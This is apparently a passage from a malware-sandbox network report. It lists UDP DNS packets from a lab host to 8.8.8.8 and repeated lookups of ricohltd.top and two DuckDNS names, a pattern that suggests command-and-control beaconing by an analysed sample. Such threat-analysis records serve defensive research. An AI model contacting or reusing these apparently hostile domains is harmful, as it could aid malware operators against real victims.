May 1, 2024 18:22:55.083326101 CEST	54154	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:55.177932978 CEST	53	54154	8.8.8.8	192.168.2.22
May 1, 2024 18:22:55.183401108 CEST	54154	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:55.277726889 CEST	53	54154	8.8.8.8	192.168.2.22
May 1, 2024 18:22:55.282550097 CEST	54154	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:55.376861095 CEST	53	54154	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.397111893 CEST	53602	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.492283106 CEST	53	53602	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.496565104 CEST	53602	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.591569901 CEST	53	53602	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.591804981 CEST	53602	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.686203003 CEST	53	53602	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.686435938 CEST	53602	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.781416893 CEST	53	53602	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.783698082 CEST	53602	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.878818035 CEST	53	53602	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.888722897 CEST	49263	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:56.983673096 CEST	53	49263	8.8.8.8	192.168.2.22
May 1, 2024 18:22:56.987363100 CEST	49263	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.100977898 CEST	53	49263	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.104094982 CEST	49263	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.198795080 CEST	53	49263	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.203254938 CEST	49263	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.297602892 CEST	53	49263	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.297842026 CEST	49263	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.392445087 CEST	53	49263	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.402113914 CEST	60981	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.496850014 CEST	53	60981	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.503211975 CEST	60981	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.597862005 CEST	53	60981	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.598020077 CEST	60981	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.692558050 CEST	53	60981	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.692734957 CEST	60981	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.786983013 CEST	53	60981	8.8.8.8	192.168.2.22
May 1, 2024 18:22:57.791253090 CEST	60981	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:57.885893106 CEST	53	60981	8.8.8.8	192.168.2.22
May 1, 2024 18:22:58.923945904 CEST	51161	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.019301891 CEST	53	51161	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.019566059 CEST	51161	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.114458084 CEST	53	51161	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.114733934 CEST	51161	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.209803104 CEST	53	51161	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.221467972 CEST	51161	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.316539049 CEST	53	51161	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.316755056 CEST	51161	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.411839962 CEST	53	51161	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.435328960 CEST	50357	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.529880047 CEST	53	50357	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.530088902 CEST	50357	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.624274969 CEST	53	50357	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.625719070 CEST	50357	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.720175982 CEST	53	50357	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.721589088 CEST	50357	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.816102028 CEST	53	50357	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.819293022 CEST	50357	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:59.913434982 CEST	53	50357	8.8.8.8	192.168.2.22
May 1, 2024 18:22:59.929601908 CEST	58291	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:00.024559975 CEST	53	58291	8.8.8.8	192.168.2.22
May 1, 2024 18:23:00.024713993 CEST	58291	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:00.119709015 CEST	53	58291	8.8.8.8	192.168.2.22
May 1, 2024 18:23:00.119863033 CEST	58291	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:00.214159966 CEST	53	58291	8.8.8.8	192.168.2.22
May 1, 2024 18:23:00.214356899 CEST	58291	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:00.310233116 CEST	53	58291	8.8.8.8	192.168.2.22
May 1, 2024 18:23:00.310405970 CEST	58291	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:00.405514002 CEST	53	58291	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.083590031 CEST	64762	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.178056955 CEST	53	64762	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.178329945 CEST	64762	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.272454977 CEST	53	64762	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.272712946 CEST	64762	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.367062092 CEST	53	64762	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.367305994 CEST	64762	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.461785078 CEST	53	64762	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.462238073 CEST	64762	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.556333065 CEST	53	64762	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.567436934 CEST	53063	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.661776066 CEST	53	53063	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.662013054 CEST	53063	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.756064892 CEST	53	53063	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.756330967 CEST	53063	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.851047039 CEST	53	53063	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.851262093 CEST	53063	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:05.945348978 CEST	53	53063	8.8.8.8	192.168.2.22
May 1, 2024 18:23:05.945580006 CEST	53063	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.039629936 CEST	53	53063	8.8.8.8	192.168.2.22
May 1, 2024 18:23:06.050112009 CEST	60333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.144368887 CEST	53	60333	8.8.8.8	192.168.2.22
May 1, 2024 18:23:06.147231102 CEST	60333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.241518021 CEST	53	60333	8.8.8.8	192.168.2.22
May 1, 2024 18:23:06.247243881 CEST	60333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.341957092 CEST	53	60333	8.8.8.8	192.168.2.22
May 1, 2024 18:23:06.343262911 CEST	60333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.439994097 CEST	53	60333	8.8.8.8	192.168.2.22
May 1, 2024 18:23:06.442270994 CEST	60333	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:06.536464930 CEST	53	60333	8.8.8.8	192.168.2.22
May 1, 2024 18:23:08.993493080 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:09.105372906 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:09.105727911 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:09.199976921 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:09.200263023 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:09.298685074 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:09.298962116 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:09.393147945 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:09.420037985 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:09.514738083 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:10.218755960 CEST	56243	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:10.312961102 CEST	53	56243	8.8.8.8	192.168.2.22
May 1, 2024 18:23:10.733387947 CEST	62689	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:10.828043938 CEST	53	62689	8.8.8.8	192.168.2.22
May 1, 2024 18:23:10.828233004 CEST	62689	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:10.922765970 CEST	53	62689	8.8.8.8	192.168.2.22
May 1, 2024 18:23:10.922938108 CEST	62689	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:11.017503023 CEST	53	62689	8.8.8.8	192.168.2.22
May 1, 2024 18:23:11.017905951 CEST	62689	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:11.112143040 CEST	53	62689	8.8.8.8	192.168.2.22
May 1, 2024 18:23:11.119092941 CEST	62689	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:11.215830088 CEST	53	62689	8.8.8.8	192.168.2.22
May 1, 2024 18:23:12.362782955 CEST	49339	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:12.476068974 CEST	53	49339	8.8.8.8	192.168.2.22
May 1, 2024 18:23:12.476284027 CEST	49339	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:12.571408987 CEST	53	49339	8.8.8.8	192.168.2.22
May 1, 2024 18:23:12.574835062 CEST	49339	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:12.669987917 CEST	53	49339	8.8.8.8	192.168.2.22
May 1, 2024 18:23:12.687738895 CEST	49339	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:12.783092976 CEST	53	49339	8.8.8.8	192.168.2.22
May 1, 2024 18:23:12.951582909 CEST	49339	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:13.046169043 CEST	53	49339	8.8.8.8	192.168.2.22
May 1, 2024 18:23:16.644519091 CEST	62131	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:16.740035057 CEST	53	62131	8.8.8.8	192.168.2.22
May 1, 2024 18:23:16.740267038 CEST	62131	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:16.835520983 CEST	53	62131	8.8.8.8	192.168.2.22
May 1, 2024 18:23:16.839495897 CEST	62131	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:16.934690952 CEST	53	62131	8.8.8.8	192.168.2.22
May 1, 2024 18:23:16.934931993 CEST	62131	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.030270100 CEST	53	62131	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.030488968 CEST	62131	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.125211000 CEST	53	62131	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.136998892 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.231348991 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.231513977 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.325886965 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.329366922 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.423676014 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.425553083 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.520143986 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:17.522459030 CEST	63036	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:17.617027044 CEST	53	63036	8.8.8.8	192.168.2.22
May 1, 2024 18:23:18.642189026 CEST	63535	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:18.736934900 CEST	53	63535	8.8.8.8	192.168.2.22
May 1, 2024 18:23:18.737210989 CEST	63535	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:18.831818104 CEST	53	63535	8.8.8.8	192.168.2.22
May 1, 2024 18:23:18.832145929 CEST	63535	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:18.926796913 CEST	53	63535	8.8.8.8	192.168.2.22
May 1, 2024 18:23:18.927398920 CEST	63535	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.022181988 CEST	53	63535	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.023443937 CEST	63535	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.117746115 CEST	53	63535	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.128278017 CEST	55219	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.223251104 CEST	53	55219	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.223498106 CEST	55219	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.317845106 CEST	53	55219	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.318104982 CEST	55219	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.412731886 CEST	53	55219	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.412940025 CEST	55219	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.507664919 CEST	53	55219	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.507874966 CEST	55219	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.617893934 CEST	53	55219	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.631625891 CEST	60228	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.726191044 CEST	53	60228	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.727283955 CEST	60228	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.822231054 CEST	53	60228	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.822412014 CEST	60228	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:19.916877985 CEST	53	60228	8.8.8.8	192.168.2.22
May 1, 2024 18:23:19.924750090 CEST	60228	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:20.019217968 CEST	53	60228	8.8.8.8	192.168.2.22
May 1, 2024 18:23:20.023053885 CEST	60228	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:20.117466927 CEST	53	60228	8.8.8.8	192.168.2.22
May 1, 2024 18:23:22.912683964 CEST	58671	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:23.006800890 CEST	53	58671	8.8.8.8	192.168.2.22
May 1, 2024 18:23:23.551987886 CEST	56415	53	192.168.2.22	8.8.8.8
May 1, 2024 18:23:23.646436930 CEST	53	56415	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 1, 2024 18:20:41.248637915 CEST	192.168.2.22	8.8.8.8	0x6bc6	Standard query (0)	ricohltd.top	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:43.660891056 CEST	192.168.2.22	8.8.8.8	0xa811	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:45.618702888 CEST	192.168.2.22	8.8.8.8	0x5a61	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:46.214162111 CEST	192.168.2.22	8.8.8.8	0x926	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:47.349608898 CEST	192.168.2.22	8.8.8.8	0x3c88	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:48.044560909 CEST	192.168.2.22	8.8.8.8	0xb917	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:48.755565882 CEST	192.168.2.22	8.8.8.8	0xf356	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:50.797612906 CEST	192.168.2.22	8.8.8.8	0xbaf4	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:52.129909992 CEST	192.168.2.22	8.8.8.8	0x8554	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:53.203670979 CEST	192.168.2.22	8.8.8.8	0xf3db	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:57.510685921 CEST	192.168.2.22	8.8.8.8	0x82a1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:59.455323935 CEST	192.168.2.22	8.8.8.8	0xdaa0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:20:59.982223988 CEST	192.168.2.22	8.8.8.8	0xdc3e	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:01.534106970 CEST	192.168.2.22	8.8.8.8	0x8e67	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:05.173047066 CEST	192.168.2.22	8.8.8.8	0xfe4	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:05.718477964 CEST	192.168.2.22	8.8.8.8	0x8e4a	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:06.863914013 CEST	192.168.2.22	8.8.8.8	0x9bc3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:07.514209986 CEST	192.168.2.22	8.8.8.8	0x3b6d	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:08.504962921 CEST	192.168.2.22	8.8.8.8	0xeb60	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:13.348938942 CEST	192.168.2.22	8.8.8.8	0x4da1	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:14.237869978 CEST	192.168.2.22	8.8.8.8	0xe616	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:14.946079969 CEST	192.168.2.22	8.8.8.8	0xcdda	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:16.142293930 CEST	192.168.2.22	8.8.8.8	0xcd33	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:18.512571096 CEST	192.168.2.22	8.8.8.8	0x824	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:19.719593048 CEST	192.168.2.22	8.8.8.8	0xc36f	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:20.899189949 CEST	192.168.2.22	8.8.8.8	0x2a2a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:21.625782013 CEST	192.168.2.22	8.8.8.8	0x3ec0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:22.219018936 CEST	192.168.2.22	8.8.8.8	0xa135	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:23.501049995 CEST	192.168.2.22	8.8.8.8	0xfa11	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:24.261049032 CEST	192.168.2.22	8.8.8.8	0x9408	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:25.127815962 CEST	192.168.2.22	8.8.8.8	0x6b16	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:27.187902927 CEST	192.168.2.22	8.8.8.8	0xaf81	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:28.184928894 CEST	192.168.2.22	8.8.8.8	0xa7f7	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:28.913119078 CEST	192.168.2.22	8.8.8.8	0x2622	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:30.165396929 CEST	192.168.2.22	8.8.8.8	0x4f21	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:30.878798962 CEST	192.168.2.22	8.8.8.8	0x8564	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:31.455076933 CEST	192.168.2.22	8.8.8.8	0x6e3e	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:32.661166906 CEST	192.168.2.22	8.8.8.8	0xb4c3	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:33.332684040 CEST	192.168.2.22	8.8.8.8	0x5c79	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:33.904930115 CEST	192.168.2.22	8.8.8.8	0xe4bc	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:34.017117023 CEST	192.168.2.22	8.8.8.8	0xe4bc	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:35.189076900 CEST	192.168.2.22	8.8.8.8	0xfaab	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:35.953577042 CEST	192.168.2.22	8.8.8.8	0x9d52	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:36.664850950 CEST	192.168.2.22	8.8.8.8	0xaf03	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.106295109 CEST	192.168.2.22	8.8.8.8	0xc6c8	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.773658991 CEST	192.168.2.22	8.8.8.8	0xf123	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:38.869077921 CEST	192.168.2.22	8.8.8.8	0xf123	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:39.478163958 CEST	192.168.2.22	8.8.8.8	0xa88	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:40.681109905 CEST	192.168.2.22	8.8.8.8	0x6a7f	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:41.455945969 CEST	192.168.2.22	8.8.8.8	0x985b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:42.161959887 CEST	192.168.2.22	8.8.8.8	0x861c	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:43.344773054 CEST	192.168.2.22	8.8.8.8	0x2535	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:43.440262079 CEST	192.168.2.22	8.8.8.8	0x2535	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:44.296161890 CEST	192.168.2.22	8.8.8.8	0xf98b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:44.939502001 CEST	192.168.2.22	8.8.8.8	0x3e71	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:46.150847912 CEST	192.168.2.22	8.8.8.8	0x2b92	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:46.745203018 CEST	192.168.2.22	8.8.8.8	0xb9b0	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:47.695950031 CEST	192.168.2.22	8.8.8.8	0xcd88	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:48.900747061 CEST	192.168.2.22	8.8.8.8	0xa656	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:49.872941971 CEST	192.168.2.22	8.8.8.8	0xcc8a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:49.967705011 CEST	192.168.2.22	8.8.8.8	0xcc8a	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:50.647994041 CEST	192.168.2.22	8.8.8.8	0x5044	Standard query (0)	learfo55ozj02.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.068430901 CEST	192.168.2.22	8.8.8.8	0x90b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.163217068 CEST	192.168.2.22	8.8.8.8	0x90b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.258079052 CEST	192.168.2.22	8.8.8.8	0x90b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:52.371099949 CEST	192.168.2.22	8.8.8.8	0x90b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.489027023 CEST	192.168.2.22	8.8.8.8	0xb3ae	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.584016085 CEST	192.168.2.22	8.8.8.8	0xb3ae	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.694343090 CEST	192.168.2.22	8.8.8.8	0xb3ae	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.789186954 CEST	192.168.2.22	8.8.8.8	0xb3ae	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.883711100 CEST	192.168.2.22	8.8.8.8	0xb3ae	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.563309908 CEST	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.661484003 CEST	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.773660898 CEST	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.868518114 CEST	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.964004993 CEST	192.168.2.22	8.8.8.8	0x7d0e	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.034470081 CEST	192.168.2.22	8.8.8.8	0x736b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.129359961 CEST	192.168.2.22	8.8.8.8	0x736b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.223741055 CEST	192.168.2.22	8.8.8.8	0x736b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.318428040 CEST	192.168.2.22	8.8.8.8	0x736b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.413233042 CEST	192.168.2.22	8.8.8.8	0x736b	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.094655037 CEST	192.168.2.22	8.8.8.8	0x2d06	Standard query (0)	learfo55ozj01.duckdns.org	A (IP address)	IN (0x0001)	false
